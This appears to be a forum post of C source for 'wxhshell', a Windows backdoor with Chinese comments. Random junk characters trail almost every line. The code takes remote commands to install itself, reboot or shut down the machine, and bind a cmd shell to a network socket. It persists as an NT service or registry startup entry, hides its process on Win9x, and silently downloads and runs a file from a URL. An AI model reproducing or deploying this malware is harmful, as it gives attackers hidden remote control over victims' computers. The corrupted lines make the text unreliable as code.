BM=`zGh"  
    switch(cmd[0]) { j)ZvlRi,  
  HmKvu"3  
  // 帮助 -cs 4<  
  case '?': { D}'g4Ag  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ! utgo/n  
    break; :0IxnK(r&  
  } 6cz%>@  
  // 安装 fv$Y&_,5  
  case 'i': { [:sPZ{  
    if(Install()) wGa0w*$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); loN!&YceW  
    else KJWYG^zI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  {Uxa h  
    break; kwNXKn/   
    } !+Z"7e nj  
  // 卸载 -v?,{?$0  
  case 'r': { uW%7X2K  
    if(Uninstall()) qd{o64;|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }'$6EgX  
    else >SpXB:wx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $_ub.g|  
    break; nV38Mj2U  
    } EquNg@25W  
  // 显示 wxhshell 所在路径 iKv`[k  
  case 'p': { k$:QpTg[  
    char svExeFile[MAX_PATH]; (y|{^@  
    strcpy(svExeFile,"\n\r"); ;y<)RM  
      strcat(svExeFile,ExeFile); 2!>phE  
        send(wsh,svExeFile,strlen(svExeFile),0); lMAmico  
    break; {YZ)IaqZ  
    } }<7Dyn,  
  // 重启 ^k&zX!W  
  case 'b': { fOiLb.BW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /- z_"G  
    if(Boot(REBOOT)) $D5[12X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4LARqSmt  
    else { y$s}-O]/-  
    closesocket(wsh); "F>-W \%  
    ExitThread(0); T'i9_V{  
    } rMxst  
    break; WIOV  
    } yd "|HHx  
  // 关机 %_u*5,w  
  case 'd': { p9R`hgx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DamLkkoA  
    if(Boot(SHUTDOWN)) S$W *i@x?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KQi9qj  
    else { 95(c{ l/  
    closesocket(wsh); .Y'kDuUu  
    ExitThread(0); .6!]RA5!=  
    }  Cih}  
    break; Oz^+;P1  
    } ]@l~z0^|[_  
  // 获取shell 6v GcM3M  
  case 's': { (~-q}_G;Q  
    CmdShell(wsh); U"-mLv"|  
    closesocket(wsh); M7yJ2u<Ty  
    ExitThread(0); H;*:XLPF  
    break; x)G/YUv76  
  } l*_b)&CH  
  // 退出 ^]'p927  
  case 'x': { ;Iw'TF   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |F<U;xV$p  
    CloseIt(wsh); @l"GfDf L9  
    break; *bn9j>|iv  
    } y>2v 9;Qp  
  // 离开 {0QD-b o  
  case 'q': { QC4_\V>[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] 5P{*  
    closesocket(wsh); 4}580mBc  
    WSACleanup(); j /-p3#c  
    exit(1); /qI80KVnN  
    break; ( 4ow0}1  
        } QI=SR  
  } LU?#{dZ  
  } 'ZT!a]4  
P%Q}R[Q  
  // 提示信息 ddnWr"_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2_r}4)z  
} b% $S6.  
  } +6gS]  
rUlpo|B  
  return; 2#/ KS^  
} z@~1e]%  
\vQ_:-A  
// shell模块句柄 % Pa-fee  
int CmdShell(SOCKET sock) mqsf#'ri  
{ DVTzN(gO*~  
STARTUPINFO si; Q7=J[,V:2  
ZeroMemory(&si,sizeof(si)); NPB':r-8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e1<28g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =[1 W.Zt  
PROCESS_INFORMATION ProcessInfo; &-cI|  
char cmdline[]="cmd"; 9s*Lzi[}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w_U5w  
  return 0; ;"Ot\:0  
} zZiB`%  
<mm}IdH  
// 自身启动模式 +IS$Un  
int StartFromService(void) nosEo? {  
{ x,7a xx6  
typedef struct c,D'Hl6(%  
{ RhQOl9  
  DWORD ExitStatus; !)\`U/.W  
  DWORD PebBaseAddress; ~NTpMF  
  DWORD AffinityMask; #;mZ3[+i5  
  DWORD BasePriority; P?0b-Qr$a  
  ULONG UniqueProcessId; v>nJy~O]  
  ULONG InheritedFromUniqueProcessId; } KMdfA  
}   PROCESS_BASIC_INFORMATION; U-lN_?  
U| N`X54  
PROCNTQSIP NtQueryInformationProcess; |f>y"T+1  
d!gm4hQhl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VX>_Sp s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T8KhmO  
s-C.+9  
  HANDLE             hProcess; ]&r/H17  
  PROCESS_BASIC_INFORMATION pbi; t]@ Zd*  
a"EQldm|d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); & 9?vQq|%  
  if(NULL == hInst ) return 0; M>]%Iu  
{(tE pr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #qn)Nq(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *508PY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,\qo   
NF a ;  
  if (!NtQueryInformationProcess) return 0; QyN~Crwo  
96PVn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n >eIQaV  
  if(!hProcess) return 0; E"" /dC:B  
9|e"n|[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z%AIv%  
vc!S{4bN  
  CloseHandle(hProcess); Ke/P [fo  
9M!_D?+P?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e;pNB  
if(hProcess==NULL) return 0; z`Q5J9_<cV  
sEj:%`l|  
HMODULE hMod; f,-|"_5;   
char procName[255]; pIrAGA;  
unsigned long cbNeeded; sXydMk`J  
JZv]tJWq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .*f;v4!  
|knP  
  CloseHandle(hProcess); Mb9q<4  
SKtEEFyIR_  
if(strstr(procName,"services")) return 1; // 以服务启动 R utW{wh  
[@y=% \%R  
  return 0; // 注册表启动 QbNv+Eu5  
} (o:Cxh V  
"p; DQ-V  
// 主模块 p}.b#{HJ  
int StartWxhshell(LPSTR lpCmdLine) %1<p1u'r?#  
{ Pz)QOrrG~  
  SOCKET wsl; N1Z8I:  
BOOL val=TRUE; N 4v)0  
  int port=0; RP X`2zr  
  struct sockaddr_in door; R] [M_ r  
q7]WR(e  
  if(wscfg.ws_autoins) Install(); [.I,B tY+  
~ghz%${`  
port=atoi(lpCmdLine); UbibGa= )  
M+E5PZ|_  
if(port<=0) port=wscfg.ws_port; u7C{>  
"^= [*i  
  WSADATA data; .apX72's,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6uXW`/lvX  
p)^:~ ll  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,%'0e /  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OT& E)eR  
  door.sin_family = AF_INET; }H#t( 9,U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L@_">' pR  
  door.sin_port = htons(port); -Wn.@bz6B  
j'i42-Lt/p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ._&lG3'  
closesocket(wsl); ?iLd5 Z  
return 1; [4hO3):F  
} NslA/"*  
UvZ@"El  
  if(listen(wsl,2) == INVALID_SOCKET) { DqMK[N,0  
closesocket(wsl); Xe SbA  
return 1; @Y<tH,*  
} KYu(H[a  
  Wxhshell(wsl); a-E-hX2  
  WSACleanup(); !:<UgbiVv  
|3,V%>z  
return 0; 6XAr8mw9  
P082.:q"  
} T{<@MK%],d  
bX H^Bm  
// 以NT服务方式启动 -k <9v.:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uo}&-$B  
{ w;EXjl;X O  
DWORD   status = 0; dT)KvqX  
  DWORD   specificError = 0xfffffff; lZM3Q58?\  
!NYM(6!(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F!&pENQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M6'C3,y0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :dguQ|e  
  serviceStatus.dwWin32ExitCode     = 0; VMIX$#  
  serviceStatus.dwServiceSpecificExitCode = 0; 1 j12Qn@]  
  serviceStatus.dwCheckPoint       = 0; @pG lWw9*  
  serviceStatus.dwWaitHint       = 0; p,iCM?[|  
*sB-scD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Wk{4gS7l  
  if (hServiceStatusHandle==0) return; ~'2r&?=\  
6#)Jl  
status = GetLastError(); LBkcs4+  
  if (status!=NO_ERROR) NVJ&C]H6  
{ 8F^,8kIR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pTALhj#,  
    serviceStatus.dwCheckPoint       = 0; ^ Y7/Ow  
    serviceStatus.dwWaitHint       = 0; M> jBm .  
    serviceStatus.dwWin32ExitCode     = status; `cP'~OT  
    serviceStatus.dwServiceSpecificExitCode = specificError; k&A7alw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }11`98>B6:  
    return; d{yIy'+0/  
  } %A62xnX  
.ts0LDk0f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =~hsKBt*  
  serviceStatus.dwCheckPoint       = 0; V(2,\+t  
  serviceStatus.dwWaitHint       = 0; P-+M,>vNy[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _@!QY   
} 1/2V.:bg  
9Yl8n dP^E  
// 处理NT服务事件,比如:启动、停止 MkDK/K$s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `pi-zE)  
{ b6nZ55 h  
switch(fdwControl) ~`2&'8  
{ 'B3Wza.  
case SERVICE_CONTROL_STOP: .%?- As  
  serviceStatus.dwWin32ExitCode = 0; JOrELrMx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wb6L? t  
  serviceStatus.dwCheckPoint   = 0; ])V2}gH  
  serviceStatus.dwWaitHint     = 0; f6B-~x<l  
  { 2f19W# '0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /o~qC<7  
  } EmX>T>~#D  
  return; :}@C9pqr2  
case SERVICE_CONTROL_PAUSE: dG\U)WA(p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mDQEXMD  
  break; QqiJun_m  
case SERVICE_CONTROL_CONTINUE: _[OF"X2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _F`$ d2  
  break; RpO@pd m  
case SERVICE_CONTROL_INTERROGATE: ;&Bna#~B  
  break; 1BQ0M{&  
}; )bLGEmm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~u /aOd  
} d4Co^A&  
EBoGJ_l  
// 标准应用程序主函数 ?a5h iN0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >4n+PXRXX  
{ J~Cc9"(  
Rx6l|'e  
// 获取操作系统版本 $#%U\mI z  
OsIsNt=GetOsVer(); (C daE!I4Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gi6g"~%@q1  
#z ON_[+s9  
  // 从命令行安装 (I-<f$3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ))7LE|1l  
?X\3&Ujy$  
  // 下载执行文件 %35L=d[  
if(wscfg.ws_downexe) { OT%0{2c"]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9G0D3F  
  WinExec(wscfg.ws_filenam,SW_HIDE); IY=/` g  
} &V'519vmoZ  
n(g)UNx  
if(!OsIsNt) { ypx: )e"/  
// 如果时win9x,隐藏进程并且设置为注册表启动 z{S:X:X  
HideProc(); NJtQx2Sd'H  
StartWxhshell(lpCmdLine); '77~{jy  
} ? ^M /[@  
else @q K]JK  
  if(StartFromService()) .it#`Yz;  
  // 以服务方式启动 LL&ud_Y  
  StartServiceCtrlDispatcher(DispatchTable); ~ 9GOk;{~&  
else vT|`%~Be  
  // 普通方式启动 zuSq+px L@  
  StartWxhshell(lpCmdLine); j5Qo*p  
_;56^1'T  
return 0; UtnZNdl v  
}
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只看该作者 1 发表于: 2006-10-10
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